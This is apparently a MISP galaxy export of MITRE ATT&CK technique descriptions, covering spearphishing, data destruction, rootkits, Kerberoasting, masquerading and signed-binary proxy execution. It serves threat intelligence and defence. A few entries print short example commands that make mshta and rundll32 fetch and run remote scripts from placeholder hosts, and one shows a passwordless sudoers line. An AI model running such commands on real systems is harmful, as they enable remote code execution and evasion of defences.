Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) or [Spearphishing Link](https://attack.mitre.org/techniques/T1192) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces.
There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)
The tag is: misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534"
Links |
https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6 [ https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6 ] |
Credential pharming - T1374
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim’s computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)
The tag is: misp-galaxy:mitre-attack-pattern="Credential pharming - T1374"
Links |
Device Lockout - T1446
An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.
On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)
On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)
The tag is: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html |
Data Destruction - T1485
Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk’s logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)
The tag is: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"
Firmware Corruption - T1495
Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.
The tag is: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495"
Links |
https://www.symantec.com/security-center/writeup/2000-122010-2655-99 |
Resource Hijacking - T1496
Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability.
One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.
The tag is: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496"
Links |
https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc |
Service Stop - T1489
Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary’s overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)
The tag is: misp-galaxy:mitre-attack-pattern="Service Stop - T1489"
Rc.common - T1163
During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).
The tag is: misp-galaxy:mitre-attack-pattern="Rc.common - T1163"
Links |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Regsvcs/Regasm - T1121
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
The tag is: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121"
Links |
Rootkit - T1014
Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)
Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)
The tag is: misp-galaxy:mitre-attack-pattern="Rootkit - T1014"
Links |
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf |
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ |
Mshta - T1170
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>
They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>
Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer’s security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
The tag is: misp-galaxy:mitre-attack-pattern="Mshta - T1170"
Screensaver - T1180
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.
The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:
-
<code>SCRNSAVE.exe</code> - set to malicious PE path
-
<code>ScreenSaveActive</code> - set to '1' to enable the screensaver
-
<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
-
<code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed
Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)
The tag is: misp-galaxy:mitre-attack-pattern="Screensaver - T1180"
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf |
Rundll32 - T1085
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
The tag is: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085"
Links |
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ |
Hypervisor - T1062
A type-1 hypervisor is a software layer that sits between the guest operating systems and system’s hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
The tag is: misp-galaxy:mitre-attack-pattern="Hypervisor - T1062"
Links |
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf |
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html |
DCShadow - T1207
DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.
Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)
This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)
The tag is: misp-galaxy:mitre-attack-pattern="DCShadow - T1207"
Links |
https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html |
Kerberoasting - T1208
Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)
The tag is: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1208"
Links |
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ |
Masquerading - T1036
Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.
One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.
A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
Adversaries may modify a binary’s metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017)
Windows
In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)
An example of abuse of trusted locations in Windows would be the <code>C:\Windows\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".
Linux
Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)
An example of abuse of trusted locations in Linux would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)
The tag is: misp-galaxy:mitre-attack-pattern="Masquerading - T1036"
Scripting - T1064
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.
Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.
Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
The tag is: misp-galaxy:mitre-attack-pattern="Scripting - T1064"
Links |
https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ |
https://www.uperesia.com/analyzing-malicious-office-documents |
Bootkit - T1067
A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)
Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Master Boot Record
The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)
Volume Boot Record
The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
The tag is: misp-galaxy:mitre-attack-pattern="Bootkit - T1067"
Links |
https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf |
http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion |
PowerShell - T1086
PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
Administrator permissions are required to use PowerShell to connect to remote systems.
A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)
The tag is: misp-galaxy:mitre-attack-pattern="PowerShell - T1086"
Timestomp - T1099
Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)
The tag is: misp-galaxy:mitre-attack-pattern="Timestomp - T1099"
Links |
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html |
Regsvr32 - T1117
Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)
Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.
Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)
The tag is: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117"
Links |
https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html |
InstallUtil - T1118
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)
The tag is: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118"
Links |
https://lolbas-project.github.io/lolbas/Binaries/Installutil/ |
CMSTP - T1191
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.
Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.
CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)
The tag is: misp-galaxy:mitre-attack-pattern="CMSTP - T1191"
Keychain - T1142
Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.
To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.
The tag is: misp-galaxy:mitre-attack-pattern="Keychain - T1142"
Links |
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
Launchctl - T1152
Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.
Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.
The tag is: misp-galaxy:mitre-attack-pattern="Launchctl - T1152"
Links |
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ |
Source - T1153
The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment.(Citation: Source Manual)
Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
The tag is: misp-galaxy:mitre-attack-pattern="Source - T1153"
Links |
Trap - T1154
The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
The tag is: misp-galaxy:mitre-attack-pattern="Trap - T1154"
Links |
HISTCONTROL - T1148
The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
The tag is: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"
Links |
Defacement - T1491
Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion.
Internal
An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary’s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)
External
Websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)
The tag is: misp-galaxy:mitre-attack-pattern="Defacement - T1491"
AppleScript - T1155
macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they’re already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>.
The tag is: misp-galaxy:mitre-attack-pattern="AppleScript - T1155"
Links |
https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/ |
Emond - T1519
Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)
Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.
The tag is: misp-galaxy:mitre-attack-pattern="Emond - T1519"
Links |
https://www.sentinelone.com/blog/how-malware-persists-on-macos/ |
Sudo - T1169
The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).
